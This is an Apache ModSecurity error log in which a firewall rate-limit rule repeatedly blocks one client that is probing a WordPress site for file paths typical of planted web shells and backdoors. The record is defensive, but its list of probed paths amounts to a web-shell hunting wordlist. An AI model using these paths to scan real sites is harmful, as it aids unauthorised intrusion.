[Fri Apr 17 04:46:23.355961 2026] [:error] [pid 51878:tid 51880] [client 20.199.113.127:36410] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeFKn0nQhUtMbw9EsgYr1AAAAQA"]
[Fri Apr 17 04:46:23.874090 2026] [:error] [pid 9263:tid 9271] [client 20.199.113.127:26002] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeFKnxP68VyHNvj1e57OFwAAAMY"]
[Fri Apr 17 04:46:24.403651 2026] [:error] [pid 9151:tid 9168] [client 20.199.113.127:51918] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeFKoMhTVuRPkua22vSCYwAAAAc"]
[Fri Apr 17 04:46:24.981590 2026] [:error] [pid 51878:tid 51887] [client 20.199.113.127:62859] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeFKoEnQhUtMbw9EsgYr3AAAAQc"]
[Fri Apr 17 04:46:25.482032 2026] [:error] [pid 9153:tid 9230] [client 20.199.113.127:36373] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeFKoeMHGxkTZX3c45fdGQAAAIw"]
[Fri Apr 17 04:46:26.005796 2026] [:error] [pid 9153:tid 9220] [client 20.199.113.127:36319] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aeFKouMHGxkTZX3c45fdIwAAAII"]
[Fri Apr 17 04:46:26.700543 2026] [:error] [pid 9152:tid 9208] [client 20.199.113.127:51934] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aeFKopJYca8I3TNCwIfzNQAAAFI"]
[Fri Apr 17 04:46:27.403344 2026] [:error] [pid 9153:tid 9240] [client 20.199.113.127:58453] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aeFKo-MHGxkTZX3c45fdLgAAAJY"]
[Fri Apr 17 04:46:28.098975 2026] [:error] [pid 51878:tid 51902] [client 20.199.113.127:36310] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aeFKpEnQhUtMbw9EsgYr9wAAARY"]
[Fri Apr 17 04:46:28.678098 2026] [:error] [pid 9263:tid 9270] [client 20.199.113.127:62870] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeFKpBP68VyHNvj1e57OJAAAAMU"]
[Fri Apr 17 04:46:29.202813 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:4432] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeFKpRP68VyHNvj1e57OLQAAANQ"]
[Fri Apr 17 04:46:29.777050 2026] [:error] [pid 9151:tid 9169] [client 20.199.113.127:62162] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeFKpchTVuRPkua22vSCcAAAAAg"]
[Fri Apr 17 04:46:30.361067 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:25994] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeFKphP68VyHNvj1e57OMQAAAMo"]
[Fri Apr 17 04:46:30.864273 2026] [:error] [pid 9151:tid 9165] [client 20.199.113.127:36297] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeFKpshTVuRPkua22vSCewAAAAQ"]
[Fri Apr 17 04:46:31.354246 2026] [:error] [pid 9263:tid 9289] [client 20.199.113.127:45580] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeFKpxP68VyHNvj1e57OOwAAANg"]
[Fri Apr 17 04:46:31.859162 2026] [:error] [pid 9263:tid 9279] [client 20.199.113.127:54547] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeFKpxP68VyHNvj1e57ORwAAAM4"]
[Fri Apr 17 04:46:32.408699 2026] [:error] [pid 51878:tid 51891] [client 20.199.113.127:62166] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aeFKqEnQhUtMbw9EsgYsCwAAAQs"]
[Fri Apr 17 04:46:32.917010 2026] [:error] [pid 51878:tid 51890] [client 20.199.113.127:58444] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeFKqEnQhUtMbw9EsgYsEQAAAQo"]
[Fri Apr 17 04:46:33.414196 2026] [:error] [pid 9153:tid 9233] [client 20.199.113.127:62905] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeFKqeMHGxkTZX3c45fdYAAAAI8"]
[Fri Apr 17 04:46:33.927481 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:4551] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeFKqRP68VyHNvj1e57OWwAAAMo"]
[Fri Apr 17 04:46:34.457398 2026] [:error] [pid 51878:tid 51895] [client 20.199.113.127:4556] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeFKqknQhUtMbw9EsgYsJwAAAQ8"]
[Fri Apr 17 04:46:35.003160 2026] [:error] [pid 51878:tid 51894] [client 20.199.113.127:36340] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeFKq0nQhUtMbw9EsgYsLQAAAQ4"]
[Fri Apr 17 04:46:35.541415 2026] [:error] [pid 51878:tid 51888] [client 20.199.113.127:45614] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeFKq0nQhUtMbw9EsgYsPAAAAQg"]
[Fri Apr 17 04:46:36.037831 2026] [:error] [pid 9151:tid 9176] [client 20.199.113.127:45606] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeFKrMhTVuRPkua22vSCggAAAA8"]
[Fri Apr 17 04:46:36.534114 2026] [:error] [pid 9263:tid 9274] [client 20.199.113.127:51964] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeFKrBP68VyHNvj1e57ObAAAAMk"]
[Fri Apr 17 04:46:37.030881 2026] [:error] [pid 9263:tid 9283] [client 20.199.113.127:25530] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeFKrRP68VyHNvj1e57OdAAAANI"]
[Fri Apr 17 04:46:37.536532 2026] [:error] [pid 9151:tid 9177] [client 20.199.113.127:62159] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeFKrchTVuRPkua22vSCiwAAABA"]
[Fri Apr 17 04:46:38.020690 2026] [:error] [pid 9263:tid 9278] [client 20.199.113.127:36345] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeFKrhP68VyHNvj1e57OfwAAAM0"]
[Fri Apr 17 04:46:38.529765 2026] [:error] [pid 9151:tid 9161] [client 20.199.113.127:58475] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeFKrshTVuRPkua22vSClQAAAAA"]
[Fri Apr 17 04:46:39.036317 2026] [:error] [pid 51878:tid 51893] [client 20.199.113.127:36343] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeFKr0nQhUtMbw9EsgYsWAAAAQ0"]
[Fri Apr 17 04:46:39.508171 2026] [:error] [pid 51878:tid 51899] [client 20.199.113.127:26017] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeFKr0nQhUtMbw9EsgYsZQAAARM"]
[Fri Apr 17 04:46:40.007852 2026] [:error] [pid 51878:tid 51881] [client 20.199.113.127:36366] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeFKsEnQhUtMbw9EsgYscAAAAQE"]
[Fri Apr 17 04:46:40.514325 2026] [:error] [pid 9152:tid 9195] [client 20.199.113.127:62200] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeFKsJJYca8I3TNCwIfzaQAAAEU"]
[Fri Apr 17 04:46:40.989295 2026] [:error] [pid 9152:tid 9193] [client 20.199.113.127:36292] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aeFKsJJYca8I3TNCwIfzcgAAAEM"]
[Fri Apr 17 04:46:41.460923 2026] [:error] [pid 9153:tid 9242] [client 20.199.113.127:4563] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aeFKseMHGxkTZX3c45fdjwAAAJg"]
[Fri Apr 17 04:46:41.945183 2026] [:error] [pid 9153:tid 9219] [client 20.199.113.127:62883] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aeFKseMHGxkTZX3c45fdkgAAAIE"]
[Fri Apr 17 04:46:42.415800 2026] [:error] [pid 9263:tid 9270] [client 20.199.113.127:25492] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aeFKshP68VyHNvj1e57OpQAAAMU"]
[Fri Apr 17 04:46:42.921198 2026] [:error] [pid 9263:tid 9289] [client 20.199.113.127:62895] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeFKshP68VyHNvj1e57OpgAAANg"]
[Fri Apr 17 04:46:43.392652 2026] [:error] [pid 9151:tid 9168] [client 20.199.113.127:62857] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeFKs8hTVuRPkua22vSCpAAAAAc"]
[Fri Apr 17 04:46:43.864142 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:26036] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeFKs0nQhUtMbw9EsgYs7wAAAQI"]
[Fri Apr 17 04:46:44.381155 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:58469] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeFKtBP68VyHNvj1e57OrwAAAMo"]
[Fri Apr 17 04:46:44.879927 2026] [:error] [pid 9263:tid 9284] [client 20.199.113.127:4591] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeFKtBP68VyHNvj1e57OsgAAANM"]
[Fri Apr 17 04:46:45.376553 2026] [:error] [pid 9152:tid 9206] [client 20.199.113.127:62149] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeFKtZJYca8I3TNCwIfzlAAAAFA"]
[Fri Apr 17 04:46:45.908704 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:36398] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeFKtRP68VyHNvj1e57OvgAAANQ"]
[Fri Apr 17 04:46:46.413162 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:62187] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeFKthP68VyHNvj1e57OwQAAAMo"]
[Fri Apr 17 04:46:46.906152 2026] [:error] [pid 9152:tid 9203] [client 20.199.113.127:54549] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeFKtpJYca8I3TNCwIfztQAAAE0"]
[Fri Apr 17 04:46:47.438019 2026] [:error] [pid 51878:tid 51895] [client 20.199.113.127:54533] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeFKt0nQhUtMbw9EsgYtCgAAAQ8"]
[Fri Apr 17 04:46:47.984343 2026] [:error] [pid 9263:tid 9271] [client 20.199.113.127:58489] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeFKtxP68VyHNvj1e57OzAAAAMY"]
[Fri Apr 17 04:46:48.482457 2026] [:error] [pid 51878:tid 51896] [client 20.199.113.127:25509] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeFKuEnQhUtMbw9EsgYtEgAAARA"]
[Fri Apr 17 04:46:48.964007 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:62894] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeFKuBP68VyHNvj1e57O0AAAANQ"]
[Fri Apr 17 04:46:49.451916 2026] [:error] [pid 9153:tid 9221] [client 20.199.113.127:4583] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeFKueMHGxkTZX3c45fdugAAAIM"]
[Fri Apr 17 04:46:49.957957 2026] [:error] [pid 9263:tid 9271] [client 20.199.113.127:54569] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeFKuRP68VyHNvj1e57O2QAAAMY"]
[Fri Apr 17 04:46:50.454543 2026] [:error] [pid 9263:tid 9286] [client 20.199.113.127:36334] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeFKuhP68VyHNvj1e57O3AAAANU"]
[Fri Apr 17 04:46:50.968087 2026] [:error] [pid 9263:tid 9288] [client 20.199.113.127:4975] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeFKuhP68VyHNvj1e57O5AAAANc"]
[Fri Apr 17 04:46:51.498059 2026] [:error] [pid 51878:tid 51900] [client 20.199.113.127:62153] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeFKu0nQhUtMbw9EsgYtFwAAARQ"]
[Fri Apr 17 04:46:52.016297 2026] [:error] [pid 9263:tid 9278] [client 20.199.113.127:62885] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeFKvBP68VyHNvj1e57O8AAAAM0"]
